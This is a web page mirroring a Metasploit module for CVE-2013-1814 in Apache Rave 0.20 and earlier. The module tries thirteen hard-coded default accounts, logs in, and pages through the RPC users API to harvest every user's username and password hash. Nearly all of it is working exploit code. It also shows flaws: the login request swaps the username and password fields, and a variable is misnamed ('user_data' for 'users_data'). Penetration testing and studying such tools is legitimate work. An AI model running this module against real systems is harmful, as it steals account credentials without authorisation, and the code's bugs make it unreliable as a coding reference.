CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/apache_rave_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Apache Rave User Information Disclosure',
13
'Description' => %q{
14
This module exploits an information disclosure in Apache Rave 0.20 and prior. The
15
vulnerability exists in the RPC API, which allows any authenticated user to
16
disclose information about all the users, including their password hashes. In order
17
to authenticate, the user can provide his own credentials. Also the default users
18
installed with Apache Rave 0.20 will be tried automatically. This module has been
19
successfully tested on Apache Rave 0.20.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'Andreas Guth', # Vulnerability discovery and PoC
25
'juan vazquez' # Metasploit module
26
],
27
'References' =>
28
[
29
[ 'CVE', '2013-1814' ],
30
[ 'OSVDB', '91235' ],
31
[ 'BID', '58455' ],
32
[ 'EDB', '24744']
33
]
34
))
35
36
register_options(
37
[
38
Opt::RPORT(8080),
39
OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),
40
OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),
41
OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),
42
])
43
end
44
45
def post_auth?
46
true
47
end
48
49
def login(username, password)
50
uri = normalize_uri(target_uri.to_s, "j_spring_security_check")
51
52
res = send_request_cgi({
53
'uri' => uri,
54
'method' => 'POST',
55
'vars_post' => {
56
'j_password' => username,
57
'j_username' => password
58
}
59
})
60
61
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
62
return $1
63
else
64
return nil
65
end
66
end
67
68
def disclose(cookie, offset)
69
uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")
70
71
res = send_request_cgi({
72
'uri' => uri,
73
'method' => 'GET',
74
'vars_get' => {
75
'offset' => "#{offset}"
76
},
77
'cookie' => "JSESSIONID=#{cookie}"
78
})
79
80
if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/
81
return res.body
82
else
83
return nil
84
end
85
86
end
87
88
def setup
89
# Default accounts installed and enabled on Apache Rave 0.20
90
@default_accounts = {
91
"canonical" => "canonical",
92
"john.doe" => "john.doe",
93
"jane.doe" => "jane.doe",
94
"johnldap" => "johnldap",
95
"four.col" => "four.col",
96
"fourwn.col" => "fourwn.col",
97
"george.doe" => "george.doe",
98
"maija.m" => "maija.m",
99
"mario.rossi" => "mario.rossi",
100
"one.col" => "one.col",
101
"three.col" => "three.col",
102
"threewn.col" => "threewn.col",
103
"twown.col" => "twown.col"
104
}
105
end
106
107
def report_cred(opts)
108
service_data = {
109
address: opts[:ip],
110
port: opts[:port],
111
service_name: opts[:service_name],
112
protocol: 'tcp',
113
workspace_id: myworkspace_id
114
}
115
116
credential_data = {
117
origin_type: :service,
118
module_fullname: fullname,
119
username: opts[:user],
120
private_data: opts[:password],
121
private_type: :password
122
}.merge(service_data)
123
124
login_data = {
125
core: create_credential(credential_data),
126
status: Metasploit::Model::Login::Status::UNTRIED,
127
proof: opts[:proof]
128
}.merge(service_data)
129
130
create_credential_login(login_data)
131
end
132
133
134
def run
135
136
print_status("#{rhost}:#{rport} - Fingerprinting...")
137
res = send_request_cgi({
138
'uri' => normalize_uri(target_uri.to_s, "login"),
139
'method' => 'GET',
140
})
141
142
if not res
143
print_error("#{rhost}:#{rport} - No response, aborting...")
144
return
145
elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/
146
version =$1
147
if version <= "0.20"
148
print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")
149
else
150
print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")
151
return
152
end
153
else
154
print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")
155
end
156
157
cookie = nil
158
unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?
159
print_status("#{rhost}:#{rport} - Login with the provided credentials...")
160
cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
161
if cookie.nil?
162
print_error("#{rhost}:#{rport} - Login failed")
163
else
164
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
165
end
166
end
167
168
if cookie.nil?
169
print_status("#{rhost}:#{rport} - Login with default accounts...")
170
@default_accounts.each { |user, password|
171
print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
172
cookie = login(user, password)
173
unless cookie.nil?
174
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
175
break
176
end
177
}
178
end
179
180
if cookie.nil?
181
print_error("#{rhost}:#{rport} - Login failed. Aborting...")
182
return
183
end
184
185
print_status("#{rhost}:#{rport} - Disclosing information...")
186
offset = 0
187
search = true
188
189
while search
190
print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")
191
users_data = disclose(cookie, offset)
192
if users_data.nil?
193
print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")
194
return
195
else
196
print_good("#{rhost}:#{rport} - Disclosure successful")
197
end
198
199
json_info = JSON.parse(users_data)
200
201
path = store_loot(
202
'apache.rave.users',
203
'application/json',
204
rhost,
205
users_data,
206
nil,
207
"Apache Rave Users Database Offset #{offset}"
208
)
209
print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")
210
211
print_status("#{rhost}:#{rport} - Recovering Hashes...")
212
json_info["result"]["resultSet"].each { |result|
213
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
214
report_cred(
215
ip: rhost,
216
port: rport,
217
service_name: 'Apache Rave',
218
user: result["username"],
219
password: result["password"],
220
proof: user_data
221
)
222
}
223
224
page = json_info["result"]["currentPage"]
225
total_pages = json_info["result"]["numberOfPages"]
226
offset = offset + json_info["result"]["pageSize"]
227
if page == total_pages
228
search = false
229
end
230
231
end
232
233
end
234
end
235
236